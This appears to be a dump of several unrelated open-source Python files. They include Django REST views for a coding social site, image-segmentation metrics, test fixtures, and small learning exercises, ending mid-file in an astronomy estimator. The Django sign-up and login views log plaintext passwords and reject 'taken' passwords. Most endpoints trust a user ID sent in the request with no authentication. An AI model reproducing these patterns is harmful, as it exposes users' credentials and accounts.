Response(serializer.data)\n\n\nclass SignUpView(APIView):\n def post(self, request, *args, **kwargs):\n password = request.data.get(\"password\")\n user_name = request.data.get(\"name\")\n print(\"password \", password)\n print(\"user_name\", user_name)\n\n if not user_name:\n return Response(\n data=\"Username is required\", status=status.HTTP_411_LENGTH_REQUIRED\n )\n if password is None:\n return Response(\n data=\"Password is required\", status=status.HTTP_411_LENGTH_REQUIRED\n )\n if len(password) < 4:\n return Response(\n data=\"Password must be greater than 4 characters\",\n status=status.HTTP_411_LENGTH_REQUIRED,\n )\n if User.objects.filter(name=user_name).first():\n return Response(data=\"Username taken\", status=status.HTTP_409_CONFLICT)\n if User.objects.filter(password=password).first():\n return Response(\n data=\"Password taken\", status=status.HTTP_412_PRECONDITION_FAILED\n )\n password = make_password(password)\n request.data[\"password\"] = password\n user = User.objects.create(**request.data)\n user = UserSerializer(user)\n return Response(user.data)\n\n\nclass LoginView(APIView):\n def post(self, request, *args, **kwargs):\n name = request.data.get(\"name\")\n password = request.data.get(\"password\")\n if name is None:\n return Response(\n data=\"Username required to login\",\n status=status.HTTP_411_LENGTH_REQUIRED,\n )\n if password is None:\n return Response(\n data=\"Password required to login\",\n status=status.HTTP_411_LENGTH_REQUIRED,\n )\n\n user = User.objects.filter(name=name).first()\n if user is None:\n return Response(\n data=\"Username not found\", status=status.HTTP_411_LENGTH_REQUIRED\n )\n if check_password(password, user.password):\n serializer = UserSerializer(user)\n return Response(serializer.data)\n else:\n return Response(\n data=\"Password incorrect\", status=status.HTTP_401_UNAUTHORIZED\n )\n\n\nclass UserView(generics.CreateAPIView):\n def get(self, request, *args, **kwargs):\n user_id = kwargs.get(\"user_id\")\n user = User.objects.filter(id=user_id).first()\n serializer = UserSerializer(user)\n return Response(serializer.data)\n\n # def post(self, request, *args, **kwargs):\n # name = request.data.get(\"name\", None)\n # if name is not None:\n # user = User.objects.get(name=name)\n # if user:\n # serializer = UserSerializer(user)\n # return Response(serializer.data)\n # user = User.objects.create(**request.data)\n # user = UserSerializer(user)\n # return Response(user.data)\n\n\nclass PostContentView(APIView):\n def post(self, request, *args, **kwargs):\n space_id = kwargs.get(\"space_id\")\n post = Post.objects.create(**request.data, space_id=space_id)\n return Response(\"Post Created\")\n\n def get(self, request, *args, **kwargs):\n space_id = filter_data(kwargs.get(\"space_id\", 1))\n number_of_posts = int(request.GET.get(\"number_of_posts\", 25))\n if space_id is None:\n return Response(\"No Space ID Found\")\n postData = Post.objects.filter(space_id=space_id).order_by(\"-date\")[\n :number_of_posts\n ]\n serializer = PostSerializer(postData, many=True)\n\n return Response(serializer.data)\n\n def put(self, request, *args, **kwargs):\n likes_amount = request.data\n return Response()\n\n\nclass VoteView(APIView):\n UPVOTE = \"UPVOTE\"\n DOWNVOTE = \"DOWNVOTE\"\n NOVOTE = \"NOVOTE\"\n\n def put(self, request, *args, **kwargs):\n post_id = kwargs.get(\"post_id\")\n user_id = request.data.get(\"user_id\")\n vote_type = request.data.get(\"vote_type\")\n if user_id is None or post_id is None or vote_type is None:\n\n return Response(\"Invalid IDs Provided\")\n vote = Vote.objects.filter(user_id=user_id, post_id=post_id).first()\n post = Post.objects.filter(id=post_id).first()\n\n if post is None:\n print(\"Post Not Found\", color=\"red\")\n return Response(\"Post Not Found\")\n if vote is None:\n Vote.objects.create(user_id=user_id, post_id=post_id, vote_type=vote_type)\n if vote_type == self.UPVOTE:\n post.likes += 1\n elif vote_type == self.DOWNVOTE:\n post.likes -= 1\n\n else:\n if vote.vote_type == self.UPVOTE:\n if vote_type == self.DOWNVOTE:\n vote.vote_type = self.DOWNVOTE\n post.likes -= 2\n elif vote_type == self.NOVOTE:\n vote.vote_type = self.NOVOTE\n post.likes -= 1\n elif vote.vote_type == self.UPVOTE:\n vote.vote_type = self.NOVOTE\n post.likes -= 1\n elif vote.vote_type == self.DOWNVOTE:\n if vote_type == self.UPVOTE:\n vote.vote_type = self.UPVOTE\n post.likes += 2\n elif vote_type == self.NOVOTE:\n vote.vote_type = self.NOVOTE\n post.likes += 1\n elif vote.vote_type == self.DOWNVOTE:\n vote.vote_type = self.NOVOTE\n post.likes += 1\n elif vote.vote_type == self.NOVOTE:\n if vote_type == self.UPVOTE:\n vote.vote_type = self.UPVOTE\n post.likes += 1\n elif vote_type == self.DOWNVOTE:\n vote.vote_type = self.DOWNVOTE\n post.likes -= 1\n\n vote.save()\n\n post.save()\n serializer = PostSerializer(post)\n\n return Response(serializer.data)\n\n\nclass FilteredPostContentView(APIView):\n def get(self, request, *args, **kwargs):\n NO_FILTER_CASES = [[\"\"], []]\n space_id = kwargs.get(\"space_id\")\n if space_id:\n space_id = int(space_id)\n else:\n return Response(\"No Space ID Found\")\n number_of_posts = int(request.GET.get(\"number_of_posts\", 25))\n languages = [i.lower() for i in request.GET.get(\"languages\", []).split(\",\")]\n names = [int(i) for i in request.GET.get(\"names\", []).split(\",\") if i]\n flairs = request.GET.get(\"flairs\", []).split(\",\")\n postData = Post.objects.filter(space_id=space_id).order_by(\"-date\")\n\n if languages not in NO_FILTER_CASES:\n postData = postData.filter(language__in=languages)\n if names not in NO_FILTER_CASES:\n postData = postData.filter(user__in=names)\n if flairs not in NO_FILTER_CASES:\n postData = postData.filter(flair__in=flairs)\n print(\n postData,\n Post.objects.filter(space_id=space_id, flair__in=flairs).order_by(\"-date\"),\n flairs,\n color=\"red\",\n )\n serializer = PostSerializer(postData, many=True)\n # sort by serialize.data['date'] (django date field)\n\n return Response(serializer.data[:number_of_posts])\n\n\nclass UserPostView(APIView):\n def get(self, request, *args, **kwargs):\n user_id = filter_data(kwargs.get(\"user_id\"))\n number_of_posts = int(request.GET.get(\"number_of_posts\", 25))\n if user_id is None:\n return Response(\"No User ID Found\")\n user_id = int(user_id)\n user = User.objects.filter(id=user_id).first()\n posts = Post.objects.filter(user=user).order_by(\"-date\")[:number_of_posts]\n serializer = PostSerializer(posts, many=True)\n\n return Response(serializer.data)\n\n\nclass UsernameView(APIView):\n def get(self, request, *args, **kwargs):\n users = User.objects.all()\n serializer = UserSerializer(users, many=True)\n user_names = [\n {\"label\": user.get(\"name\", \"No Username Found\"), \"id\": user.get(\"id\", 0)}\n for user in serializer.data\n ]\n\n return Response(user_names)\n\n\nclass SpacesView(APIView):\n MAIN_PUBLIC_SPACE = 1\n\n def get(self, request, *args, **kwargs):\n member_Id = kwargs.get(\"member_id\")\n if member_Id is None:\n print(\"No Member ID Found\", color=\"red\")\n return Response(\"No Member ID Found\")\n user = User.objects.filter(id=member_Id).first()\n spaces = (\n Space.objects.filter(\n Q(members__in=[user]) | Q(is_public=True) | Q(id=self.MAIN_PUBLIC_SPACE)\n )\n .distinct()\n .order_by(\"-date\")\n )\n print(\"what the\", spaces)\n serializer = SpaceSerializer(spaces, many=True)\n return Response(serializer.data)\n\n def post(self, request, *args, **kwargs):\n description = request.data.get(\"description\", \"\")\n name = request.data.get(\"name\", \"\")\n members = request.data.get(\"members\")\n is_public = request.data.get(\"is_public\", False)\n user_id = kwargs.get(\"member_id\")\n members = [*members, {\"id\": user_id}]\n members = [\n User.objects.filter(id=member.get(\"id\")).first() for member in members\n ]\n space = Space.objects.create(\n description=description, name=name, is_public=is_public\n )\n space.members.set(members)\n space.save()\n\n return Response(\"Space Created\")\n\n\nclass CommentsView(APIView):\n def get(self, request, *args, **kwargs):\n post_id = kwargs.get(\"post_id\")\n print(\"postid\", post_id, color=\"red\")\n if post_id is None:\n print(\"No Post ID Found\", color=\"red\")\n return Response(\"No Post ID Found\")\n\n comments = Comment.objects.filter(post_id=post_id).order_by(\"-date\")\n serializer = CommentSerializer(comments, many=True)\n\n return Response(serializer.data)\n\n def post(self, request, *args, **kwargs):\n print(request.data)\n post_id = kwargs.get(\"post_id\")\n user_id = request.data.get(\"user_id\")\n content = request.data.get(\"content\")\n up_votes = request.data.get(\"up_votes\")\n print(post_id, user_id, content, up_votes)\n if post_id is not None:\n\n Comment.objects.create(\n post_id=post_id,\n user_id=user_id,\n content=content,\n up_votes=up_votes,\n )\n print(\"should have saved\")\n\n return Response(\"Comment Created\")\n else:\n return Response(\"No Comment Provided\")\n\n\nclass FriendsView(APIView):\n def get(self, request, *args, **kwargs):\n user_id = kwargs.get(\"user_id\")\n if user_id is None:\n return Response(\"No User ID Provided\")\n user_id = int(filter_data(user_id))\n user = User.objects.filter(id=user_id).first()\n friends = user.friends.all()\n serializer = UserSerializer(friends, many=True)\n return Response(serializer.data)\n\n def post(self, request, *args, **kwargs):\n user_id = request.data.get(\"user_id\")\n friend_id = request.data.get(\"friend_id\")\n if user_id is None or friend_id is None:\n return Response(\"Invalid User IDs Provided\")\n user = User.objects.filter(id=user_id).first()\n friend = User.objects.filter(id=friend_id).first()\n user.friends.add(friend)\n user.save()\n return Response(\"Friend Added\")\n\n\nclass FollowView(APIView):\n def get(self, request, *args, **kwargs):\n user_id = kwargs.get(\"user_id\")\n if user_id is None:\n return Response(\"No User ID Provided\")\n user_id = int(filter_data(user_id))\n user = User.objects.filter(id=user_id).first()\n followers = user.followers.all()\n\n serializer = UserSerializer(followers, many=True)\n\n return Response(serializer.data)\n\n def post(self, request, *args, **kwargs):\n user_id = request.data.get(\"user_id\")\n user_to_follow_id = request.data.get(\"user_to_follow_id\")\n if user_id is None or user_to_follow_id is None:\n return Response(\"Invalid User IDs Provided\")\n user = User.objects.filter(id=user_id).first()\n user_to_follow = User.objects.filter(id=user_to_follow_id).first()\n user.following.add(user_to_follow)\n user_to_follow.followers.add(user)\n user.save()\n user_to_follow.save()\n\n return Response(\"Follower Added\")\n\n\nclass UnfollowView(APIView):\n def delete(self, request, *args, **kwargs):\n user_id = kwargs.get(\"user_id\")\n user_to_unfollow_id = kwargs.get(\"user_to_unfollow_id\")\n if user_id is None or user_to_unfollow_id is None:\n return Response(\"Invalid User IDs Provided\")\n user = User.objects.filter(id=user_id).first()\n user_to_unfollow = User.objects.filter(id=user_to_unfollow_id).first()\n user.following.remove(user_to_unfollow)\n user_to_unfollow.followers.remove(user)\n user.save()\n user_to_unfollow.save()\n return Response(\"Follower Removed\")\n\n\nclass FollowingView(APIView):\n def get(self, request, *args, **kwargs):\n user_id = kwargs.get(\"user_id\")\n if user_id is None:\n return Response(\"No User ID Provided\")\n user_id = int(filter_data(user_id))\n user = User.objects.filter(id=user_id).first()\n following = user.following.all()\n serializer = UserSerializer(following, many=True)\n return Response(serializer.data)\n\n\nclass ChallengeView(APIView):\n def get(self, request, *args, **kwargs):\n space_id = kwargs.get(\"space_id\")\n if space_id is None:\n return Response(\"No Space ID Provided\")\n space_id = int(filter_data(space_id))\n challenges = Challenge.objects.filter(space_id=space_id).all()\n challenge_serializer = ChallengeSerializer(challenges, many=True)\n return Response(challenge_serializer.data)\n\n def post(self, request, *args, **kwargs):\n user_id = request.data.get(\"user_id\")\n space_id = kwargs.get(\"space_id\")\n\n if user_id is None or space_id is None:\n return Response(\"Invalid IDs Provided\")\n answers = request.data.get(\"challenge\").get(\"answers\")\n correct_answer_index = request.data.get(\"challenge\").get(\"correct_answer\")\n new_challenge = Challenge.objects.create(\n # **request.data,\n title=request.data.get(\"challenge\").get(\"title\"),\n description=request.data.get(\"challenge\").get(\"description\"),\n question=request.data.get(\"challenge\").get(\"question\"),\n difficulty=request.data.get(\"challenge\").get(\"difficulty\"),\n space_id=space_id,\n author_id=user_id,\n )\n answer_objects = [\n Answer.objects.create(text=ans.get(\"text\"), challenge_id=new_challenge.id)\n for ans in answers\n if answers\n ]\n\n new_challenge.correct_answer = Answer.objects.filter(\n id=answer_objects[correct_answer_index].id\n ).first()\n new_challenge.save()\n return Response(\"Challenge Created\")\n\n\nclass AnswerView(APIView):\n def post(self, request, *args, **kwargs):\n user_id = request.data.get(\"user_id\")\n challenge_id = request.data.get(\"challenge_id\")\n answer_id = request.data.get(\"answer_id\")\n if user_id is None or challenge_id is None or answer_id is None:\n return Response(\"Invalid IDs Provided\")\n user = User.objects.filter(id=user_id).first()\n challenge = Challenge.objects.filter(id=challenge_id).first()\n answer = Answer.objects.filter(id=answer_id).first()\n if answer.challenge.id != challenge.id:\n return Response(\"Invalid Answer\")\n challenge.users_that_attempted.add(user)\n if answer.id == challenge.correct_answer.id:\n challenge.users_that_succeeded.add(user)\n challenge.save()\n return Response(\"Correct Answer\")\n else:\n challenge.users_that_failed.add(user)\n challenge.save()\n return Response(\"Incorrect Answer\")\n\n\n# this is tied to the VoteType enum in the frontend\n","repo_name":"RobPruzan/WeCode","sub_path":"backend/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":17479,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"16219850941","text":"import glob\n# https://opencv.org/\nimport cv2\nimport statistics\n\ndef load_data():\n # the path can be replaced\n path = './submissions/submission_*/annotations/ground_truth.png'\n input = []\n ground_truth = []\n for filename in glob.glob(path):\n images = []\n with open(filename, \"rb\") as img_file:\n input_name = filename[:-29] + '/RESULTS/left.png'\n images.append([cv2.imread(filename ).flatten().flatten().flatten(),cv2.imread(input_name).flatten().flatten().flatten()])\n # pdb.set_trace()\n for image in images:\n input.append(image[1])\n ground_truth.append(image[0])\n\n return input, ground_truth\n\ndef load_data_uied():\n # the path can be replaced\n path = './submissions/submission_*/annotations/ground_truth.png'\n input = []\n ground_truth = []\n for filename in glob.glob(path):\n images = []\n with open(filename, \"rb\") as img_file:\n input_name = filename[:-29] + '/RESULTS/left_uied.png'\n images.append([cv2.imread(filename ).flatten().flatten().flatten(),cv2.imread(input_name).flatten().flatten().flatten()])\n # pdb.set_trace()\n for image in images:\n input.append(image[1])\n ground_truth.append(image[0])\n\n return input, ground_truth\n\ndef calculate_confusion_table(input_list, ground_truth_list):\n table_list =[]\n for i in range(len(input_list)):\n input = input_list[i]\n ground_truth = ground_truth_list[i]\n tp = 0\n tn = 0\n fn = 0\n fp = 0\n for j in range(len(input)):\n y_pred = input[j]\n y_true = ground_truth[j]\n if y_true == 0:\n if y_pred == y_true:\n tp = tp + 1\n else:\n fn = fn + 1\n if y_true == 255:\n if y_pred == y_true:\n tn = tn + 1\n else:\n fp = fp + 1\n table_list.append([tp, tn, fn, fp])\n print(len(input_list))\n return table_list\n\n\ndef calcualte_precision(confusion_table_list):\n precision_list = []\n for table in confusion_table_list:\n precision_single = 0\n if (table[0] + table[3]) != 0:\n precision_single = table[0] / (table[0] + table[3])\n \n precision_list.append(precision_single)\n\n return statistics.mean(precision_list)\n\ndef calcualte_recall(confusion_table_list):\n recall_list = []\n for table in confusion_table_list:\n recall_single = 0\n if (table[0] + table[2]) != 0:\n recall_single = table[0] / (table[0] + table[2])\n recall_list.append(recall_single)\n\n return statistics.mean(recall_list)\n\n\n\ndef execute_test_image_segmentation(type = 'combined'):\n input_list=[]\n ground_truth_list = []\n if type == 'combined':\n input_list, ground_truth_list = load_data()\n else:\n input_list, ground_truth_list = load_data_uied()\n \n confusion_table_list = calculate_confusion_table(input_list, ground_truth_list)\n precision = calcualte_precision(confusion_table_list)\n recall = calcualte_recall(confusion_table_list)\n F1_score = 2*(precision * recall) / (precision + recall)\n \n test_description = 'precision:' + str(precision) + ' recall:' + str(recall) + ' F1-score:' + str(F1_score)\n print(test_description)\n return test_description\n\n\n","repo_name":"Yuchen-cyber/image_metrics","sub_path":"test/test_segmentation.py","file_name":"test_segmentation.py","file_ext":"py","file_size_in_byte":3419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34362867975","text":"from __future__ import unicode_literals\nimport os\nimport sys\n\nimport six\nimport cherrypy\n\nfrom sideboard.lib import config, threadlocal\n\n\ndef reset_threadlocal():\n threadlocal.reset(**{field: cherrypy.session.get(field) for field in config['ws.session_fields']})\n\ncherrypy.tools.reset_threadlocal = cherrypy.Tool('before_handler', reset_threadlocal, priority=51)\n\ncherrypy_config = {}\nfor setting, value in config['cherrypy'].items():\n if isinstance(value, six.string_types):\n if value.isdigit():\n value = int(value)\n elif value.lower() in ['true', 'false']:\n value = value.lower() == 'true'\n elif six.PY2:\n value = value.encode('utf-8')\n cherrypy_config[setting] = value\ncherrypy.config.update(cherrypy_config)\n","repo_name":"magfest/sideboard","sub_path":"sideboard/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"3261612373","text":"# The conftest.py file serves as a means of providing fixtures for an entire directory.\n# Fixtures defined in a conftest.py can be used by any test in that package without needing to import them (pytest will automatically discover them)\n# https://docs.pytest.org/en/7.1.x/reference/fixtures.html#:~:text=The%20conftest.py%20file%20serves%20as%20a%20means%20of,to%20import%20them%20%28pytest%20will%20automatically%20discover%20them%29.\n\nimport numpy as np\nimport RedLionfishDeconv.helperfunctions as rlh\nimport pytest\nimport scipy.signal\n\n@pytest.fixture\ndef data_gauss_w256_s5():\n return rlh.generateGaussPSF((256,256,256), 5)\n\n@pytest.fixture\ndef psf_gauss_w32_s5():\n return rlh.generateGaussPSF((32,32,32), 5)\n\n@pytest.fixture\ndef psf_gauss_w16_s3():\n return rlh.generateGaussPSF((16,16,16), 3)\n\n@pytest.fixture\ndef data_with_cubes_256(psf_gauss_w16_s3):\n #Add a few cubes in grid-like locations\n datashape = (256,256,256)\n cubesize=2\n cubespacing=16\n amplitude = 1e6\n\n print(f\"Creating 3D data with shape {datashape}.\")\n\n data = np.zeros(datashape, dtype=np.float32)\n for iz in range(int(cubespacing/2) ,datashape[0],cubespacing):\n for iy in range(int(cubespacing/2) ,datashape[1],cubespacing):\n for ix in range(int(cubespacing/2) ,datashape[2],cubespacing):\n data[iz:iz+cubesize , iy:iy+cubesize , ix:ix+cubesize] = np.ones((cubesize,cubesize,cubesize))*amplitude\n \n psf = psf_gauss_w16_s3\n\n print(f\"psf.shape: {psf.shape}\")\n print(f\"psf max, min: {psf.max()},{psf.min()}\")\n\n #convolve\n print(\"Convolving with PSF.\")\n data_convolved = scipy.signal.convolve(data, psf, mode='same')\n #Fix zeros\n data_convolved = np.where(data_convolved<0, 0, data_convolved)\n print(f\"data_convolved max, min: {data_convolved.max()},{data_convolved.min()}\")\n\n print(\"Adding poisson noise to data.\")\n rng = np.random.default_rng()\n data_convolved_noised = rng.poisson(lam = data_convolved)\n\n return(data_convolved_noised)","repo_name":"rosalindfranklininstitute/RedLionfish","sub_path":"test/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"37"} +{"seq_id":"35356750256","text":"\"\"\"empty message\n\nRevision ID: 5b5ba3951eb0\nRevises: c5692a6e1a1d\nCreate Date: 2019-11-10 23:08:43.105300\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '5b5ba3951eb0'\ndown_revision = 'c5692a6e1a1d'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('postings', sa.Column('test', sa.String(length=20), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('postings', 'test')\n # ### end Alembic commands ###\n","repo_name":"gilron07/freat","sub_path":"server/migrations/versions/5b5ba3951eb0_.py","file_name":"5b5ba3951eb0_.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36363558167","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom components.model.activations import get_activation_function\n\n\n# create algotithm for multiple separated layers combinations. Its gonna be lists in config\ndef get_linear_block(input_size, output_size, activation=None, normalization=None, dropout=None):\n layers = [nn.Linear(input_size, output_size)]\n if activation is not None:\n layers.append(get_activation_function(activation))\n if normalization is not None:\n layers.append(nn.BatchNorm1d(output_size))\n if dropout is not None:\n layers.append(nn.Dropout(dropout))\n\n return nn.Sequential(*layers)\n\n\ndef create_linear_model(params):\n depth = params[\"depth\"]\n width = params[\"width\"]\n input_size = params[\"observation_space\"]\n dropout_rate = params[\"dropout_rate\"]\n normalization = params[\"normalization\"]\n output_size = params[\"action_space\"]\n activation = params[\"activation\"]\n\n layers = []\n layers.append(get_linear_block(input_size, width, activation))\n\n for i in range(depth):\n layers.append(get_linear_block(width, width, activation, normalization, dropout_rate))\n # add output activation\n layers.append(get_linear_block(width, output_size))\n\n return nn.Sequential(*layers)\n","repo_name":"SoliareofAstora/space_memory","sub_path":"components/model/linear.py","file_name":"linear.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12514599117","text":"import watts\nfrom astropy.units import Quantity\n\n# TH params\nparams = watts.Parameters()\nparams['assembly_pitch'] = Quantity(20, \"cm\") # 20e-2 m\nparams['assembly_length'] = Quantity(13, \"cm\") # 0.13 m\nparams['temp'] = Quantity(26.85, \"Celsius\") # 300 K\n\nparams.show_summary(show_metadata=False, sort_by='key')\n\n# PyARC Workflow\n\npyarc_plugin = watts.PluginPyARC('pyarc_template', show_stdout=True, extra_inputs=['lumped.son']) # show all the output\npyarc_result = pyarc_plugin(params)\nfor key in pyarc_result.results_data:\n print(key, pyarc_result.results_data[key])\nprint(pyarc_result.inputs)\nprint(pyarc_result.outputs)\nparams['keff-dif3d'] = pyarc_result.results_data[\"keff_dif3d\"][0.0]\nparams['keff-mcc3'] = pyarc_result.results_data[\"keff_mcc3\"][('R', 0, 1, 'A', 1)]\n\nparams.show_summary(show_metadata=True, sort_by='key')\n","repo_name":"watts-dev/watts","sub_path":"examples/1App_PyARC_UnitCell/watts_exec.py","file_name":"watts_exec.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"37"} +{"seq_id":"34806279353","text":"# Epsilon greedy\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# represents one bandit arm\nclass Bandit:\n def __init__(self, m):\n self.m = m # true mean\n self.mean = 0\n self.N = 0\n \n # simulates pulling the bandit's arm\n # is a Gaussian with unit variance\n def pull(self):\n return np.random.randn() + self.m\n\n # mean update equation\n def update(self, x):\n self.N += 1\n self.mean = (1 - 1.0 / self.N) * self.mean + 1.0 / self.N * x\n\n# N = number of times we play\n# m1, m2, m3 = mean rewards for the 3 arms\n# eps = epsilon for the epsilon greedy strategy\ndef run_experiment_eps(m1, m2, m3, eps, N):\n bandits = [Bandit(m1), Bandit(m2), Bandit(m3)]\n \n data = np.empty(N)\n \n for i in range(N):\n # epsilon greedy\n p = np.random.random()\n if p < eps:\n j = np.random.choice(3)\n else:\n j = np.argmax([b.mean for b in bandits])\n x = bandits[j].pull()\n bandits[j].update(x)\n \n # for the plot\n data[i] = x\n cumulative_average = np.cumsum(data) / (np.arange(N) + 1)\n \n # plot moving average reward\n plt.plot(cumulative_average)\n plt.plot(np.ones(N) * m1)\n plt.plot(np.ones(N) * m2)\n plt.plot(np.ones(N) * m3)\n plt.xscale('log')\n plt.show()\n \n for b in bandits:\n print(b.mean)\n \n return cumulative_average\n \nif __name__ == '__main__':\n c_1 = run_experiment_eps(1.0, 2.0, 3.0, 0.1, 100000)\n c_05 = run_experiment_eps(1.0, 2.0, 3.0, 0.05, 100000)\n c_01 = run_experiment_eps(1.0, 2.0, 3.0, 0.01, 100000)\n \n # log scale plot\n plt.plot(c_1, label = 'eps = 0.1')\n plt.plot(c_05, label = 'eps = 0.05')\n plt.plot(c_01, label = 'eps = 0.01')\n plt.legend()\n plt.xscale('log')\n plt.show()\n \n # linear plot\n plt.plot(c_1, label = 'eps = 0.1')\n plt.plot(c_05, label = 'eps = 0.05')\n plt.plot(c_01, label = 'eps = 0.01')\n plt.legend()\n plt.show()\n","repo_name":"JohnnySunkel/BlueSky","sub_path":"RL/epsilon_greedy.py","file_name":"epsilon_greedy.py","file_ext":"py","file_size_in_byte":1999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28666951599","text":"import random\n\nrock = '''\n _______\n---' ____)\n (_____)\n (_____)\n (____)\n---.__(___)\n'''\n\npaper = '''\n _______\n---' ____)____\n ______)\n _______)\n _______)\n---.__________)\n'''\n\nscissors = '''\n _______\n---' ____)____\n ______)\n __________)\n (____)\n---.__(___)\n'''\n\n# User's action\nuser_action = int(input(\"What do you choose? Type 0 for Rock, 1 for Paper or 2 for Scissors.\\n\"))\nif user_action == 0:\n print(rock)\nif user_action == 1:\n print(paper)\nif user_action == 2:\n print(scissors)\n\n# Computer's action\nprint(\"Computer chose:\")\ncomputer_action = random.randint(0, 2)\nif computer_action == 0:\n print(rock)\nif computer_action == 1:\n print(paper)\nif computer_action == 2:\n print(scissors)\n\n# Compare actions\nif user_action == computer_action:\n print(\"Draw\")\nelif user_action - computer_action == 1:\n print(\"You win\")\nelif user_action - computer_action == -2:\n print(\"You win\")\nelif user_action > 2 or user_action < 0:\n print(\"Invalid number, You lose\")\nelse:\n print(\"You lose\")\n","repo_name":"trevorfyc/RockPaperScissors","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25708785430","text":"'''\nCreate two classes that model a rectangle and a circle. The rectangle class should\nbe constructed by length and width while the circle class should be constructed by\nradius.\n\nWrite methods in the appropriate class so that you can calculate the area (of the rectangle and circle),\nperimeter (of the rectangle) and circumference of the circle.\n\n'''\n\nclass Rectangle:\n def __init__(self, length, width):\n self.length = length\n self.width = width\n\n def area_rectangle(self):\n self.area = self.length * self.width\n return f\"The area of the rectangle is {self.area}\"\n\n def perimeter_rectangle(self):\n self.perimeter = 2 * self.length + 2 * self.width\n return f\"The perimeter of the rectangle is {self.perimeter}\"\n\nclass Circle:\n def __init__(self, radius):\n self.radius = radius\n self.area = 0\n self.circumference = 0\n def area_circle(self):\n self.area = 3.14 * (self.radius * self.radius)\n\n def circumference_circle(self):\n self.circumference = 2 * 3.14 * self.radius\n\n\nmy_rectangle = Rectangle(20, 40)\nmy_rectangle.area_rectangle()\nmy_rectangle.perimeter_rectangle()\nprint(my_rectangle.area)\nprint(my_rectangle.area_rectangle())\nprint(my_rectangle.perimeter)\nprint(my_rectangle.perimeter_rectangle())\n\nmy_circle = Circle(5)\n\nmy_circle.area_circle()\nprint(my_circle.area)\nmy_circle.circumference_circle()\nprint(my_circle.area)\nprint(my_circle.circumference)","repo_name":"igorlongoria/python-fundamentals","sub_path":"07_classes_objects_methods/07_02_shapes.py","file_name":"07_02_shapes.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73523339947","text":"# -*- coding: utf-8 -*-\n\"\"\"This module's scope is the estimation of the b-ratio (the ratio between the\nsize of the pixels in the CCD and the focal length). \n\nExample::\n\n >>> import tuna\n >>> estimate = tuna.tools.estimate_b_ratio(radii = [100, 200], orders = [800, 801])\n >>> estimate\n 0.00028933783055714126\n\"\"\"\n__version__ = '0.1.4'\n__changelog = {\n \"0.1.4\": {\"Tuna\": \"0.16.5\", \"Change\": \"PEP8 and PEP257 compliance.\"},\n \"0.1.3\": {\"Tuna\": \"0.14.0\", \"Change\": \"updated documentation to new style.\"},\n \"0.1.2\": {\"Change\": \"Added docstring.\"},\n \"0.1.1\": {\"Change\": \"Error: was returning b**2 instead of its radix.\"},\n \"0.1.0\": {\"Change\": \"First changelogged version.\"}\n}\n\nimport logging\nimport math\nimport tuna\n\nclass BRatioEstimator(object):\n \"\"\"Estimator object for finding the b-ratio. \n\n The b-ratio is the ratio between the pixel size (of the interferometer pixel\n detector) and the focal length of the interferometers. In the absence of this\n information, it can be estimated by a geometrical relation between two\n \"consecutive\" rings in the same interferogram, which is what this estimator\n does.\n\n Parameters:\n\n * radii : list of floats\n Contains the concentric radii, sorted with smallest radius first.\n\n * orders : list of integers\n Contains the interference orders corresponding to the listed radii.\n \"\"\"\n def __init__(self, radii, orders):\n self.log = logging.getLogger(__name__)\n \n self.orders = orders\n self.radii = radii \n\n def estimate(self):\n \"\"\"The self.radii list should contain at least two radii.\n The innermost radii is of order \"p\", and the next one is of order \"p-1\".\n\n The estimate is calculated as:\n\n .. math::\n b^2 = \\dfrac { 2 p_c - 1 } { p_c^2 ( r_{c-1}^2 - r_c^2 ) - 2 p_c r_{c-1}^2 + r_{c-1}^2 }\n\n (Thanks to Mr. Benoît Epinat for this model.)\n \"\"\"\n if not isinstance(self.radii, list):\n self.log.error(\"radii should be a list!\")\n return None\n\n if len(self.radii) < 2:\n self.log.error(\"Estimation requires at least 2 radii!\")\n return None\n\n if not isinstance(self.orders, list):\n self.log.error(\"orders should be a list!\")\n return None\n\n if len(self.orders) != len(self.radii):\n self.log.error(\"radii and orders should have the same length!\")\n return None\n\n pc = self.orders[0]\n pc_1 = self.orders[1]\n\n r = self.radii[0]\n r_1 = self.radii[1]\n self.log.debug(\"r = {:e}, pc = {:e}; r_1 = {:e}, pc_1 = {:e}\".format(\n r, pc, r_1, pc_1))\n\n b_squared = 2 * pc_1 / (pc**2 * (r_1**2 - r**2) \\\n - 2 * pc * r_1**2 + r_1**2)\n b = math.sqrt(b_squared)\n self.log.debug(\"b_ratio = {:e}\".format(b))\n\n return b\n\ndef estimate_b_ratio(radii, orders):\n \"\"\"From a list of radii, supposing each radius corresponds to the distance from a ring to the center, calculates b.\n\n Parameters:\n\n * radii : list of floats\n Contains the concentric radii, sorted with smallest radius first.\n\n * orders : list of integers\n Contains the interference orders corresponding to the listed 